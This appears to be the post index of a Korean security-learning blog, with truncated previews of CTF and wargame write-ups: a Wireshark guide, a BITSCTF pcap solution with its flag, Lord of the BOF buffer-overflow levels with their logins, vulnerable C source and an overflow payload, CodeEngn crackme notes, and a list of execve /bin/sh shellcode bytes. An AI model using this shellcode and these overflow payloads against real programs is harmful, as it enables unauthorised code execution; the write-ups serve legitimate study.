목록전체 글 (126)
SH1R0_HACKER
1번 (메뉴) - [File] : 캡쳐 데이터를 열거나 저장 - [Edit] : 패킷을 찾거나 표시합니다. 프로그램의 속성 설정 (예를들어, ssl 패킷을 보기위한 개인키 등록 등) - [View] : wireshark 플랫폼의 보이는 모양 설정 - [Go] : 캡쳐된 데이터를 특정 위치로 이동 - [Capture] : 캡쳐 필터 옵션을 설정하고 캡쳐 시작 - [Analyze] : 분석 옵션 설정 - [Statistics] : wireshark 통계 데이터 확인 - [Help] : 도움말 보기 2번~4번 항목들을 합하여 출력창이라고 하며 실시간 혹은 tcpdump로 저장한 패킷의 송수신을 볼 수 있습니다. 2번 출발지와 목적지를 기준으로 오고가는 패킷들을 시간순서대로 리스트 형식으로 나열해 놓은 것을 확..
[ 문제 ] [ 풀이 ] pcapng 파일을 wireshark로 열어보았습니다. 지금 와이어샤크도 거의 처음써보고 네트워크 이해도도 많이 부족한 상태여서 하나하나 분석해 나가면서 문제를 풀어보았습니다. 와이어샤크에서 Protocol 항목을 보니 TCP Protocol을 통해 데이터를 주고받았다는 사실을 알 수 있었습니다. 와이어샤크에 있는 Follow TCP Stream 기능을 이용하여 데이터를 확인해보면 BITSCTF{(key)} 형태의 정답을 쉽게 찾을 수 있었습니다. KEY : BITSCTF{such_s3cure_much_w0w} [ TCP 프로토콜 ] OSI 7계층 중 전송계층(4계층)에 속하는 전송 제어 프로토콜 (Transmission Control Protocol)은 TCP는 네트워크에 연결..
login : orc password : cantata [wolfman.c] /* The Lord of the BOF : The Fellowship of the BOF - wolfman - egghunter + buffer hunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("..
login : goblin password : hackers proof [ orc.c] /* The Lord of the BOF : The Fellowship of the BOF - orc - egghunter */ #include #include extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still..
login : cobolt password : hacking exposed [ gobolt.c ] /* The Lord of the BOF : The Fellowship of the BOF - goblin - small buffer + stdin */ int main() { char buffer[16]; gets(buffer); printf("%s\n", buffer); } 이것도 buffer 공간이 16byte로 적으니깐 환경변수써서 날리면 될거같다. 한번 해보자. [ GDB 분석 ] buffer와 ret거리 : 20byte 환경변수 주소 : 0xbffffc92 페이로드 (python -c 'print "\x90"*20+"\x92\xfc\xff\xbf"'; cat) | ./goblin cobolt 문제..
보호되어 있는 글입니다.
컴퓨터 C 드라이브의 이름이 CodeEngn 일경우 시리얼이 생성될때 CodeEngn은 'ß어떤것'으로 변경되는가 Author: abex [ 프로그램 실행 ] 시리얼을 입력받고 확인하는 프로그램이다. 디버거로 분석하기 전 패킹이 되어있는지 확인하자. 패킹이 되어있지 않다. 바로 디버거에 올려서 분석해보자. [ 디버거 분석 ] Text string 항목에 시리얼이 있는 것 같다. 너무 만만하게 봤는지 둘다 안된다. MessageBox가 출력되기 전 EAX값이 같은지 비교하는 부분에서 브포를 걸고 실행했다. 시리얼 입력란에 TEST를 입력했더니 String1에 시리얼이 생성되고 비교하는 부분이 나온다. 웰던! (난 미디움이 좋은데) 컴퓨터 드라이브 이름을 받아와서 시리얼을 생성하는 원리인 것 같다. 드라이브..
Unpack을 한 후 Serial을 찾으시오. 정답인증은 OEP + Serial Ex) 00400000PASSWORD Author: Raz0r [ OEP란? ] OEP (Original Entry Point) 원본코드가 먼저 실행해야하는 EntryPoint이다. 요즘 프로그램은 모두 패킹이 되어있다. 패킹된걸 풀면 원본코드의 실제 시작지점이 나오게 되는데 그 위치를 찾으면 된다. 자세한 설명과 내용은 아래 블로그를 참고하면 좋을 것 같다. [Packing Unpacking] 기본개념 manggoo.tistory.com/3 [Packing Unpacking] 기본 개념 개요 pack이라는 단어는 (짐을) 싸다, (물건을) 포장하다 라는 의미를 가지고 있다. packing이라는 것은 단어 뜻에서 알 수 있듯..
0x01. 가장 기본적으로 쉘을 띄우는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 bytes : 25 미포함 : setreuid(), exit() 0x02. 쉘을 종료할 때 exit(0)으로 정상종료까지 시켜주는 코드 \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80 \x31\xc0\xb0\x01\xcd\x80 bytes : 31 미포함 : setreuid() 0x03. setreuid(geteuid(), getreuid()), exi..
login : gremlin passworld : hello bof world [ cobolt.c ] /* The Lord of the BOF : The Fellowship of the BOF - cobolt - small buffer */ int main(int argc, char *argv[]) { char buffer[16]; if(argc < 2){ printf("argv error\n"); exit(0); } strcpy(buffer, argv[1]); printf("%s\n", buffer); } gremlin이랑 별 차이가 없어보인다. 다만 버퍼의 크기가 16byte로 쉘코드(25byte)를 넣을 수 있는 공간이 부족하다. 이럴 땐 환경변수의 메모리주소를 RET에 넣어 환경변수의 내용 (쉘코..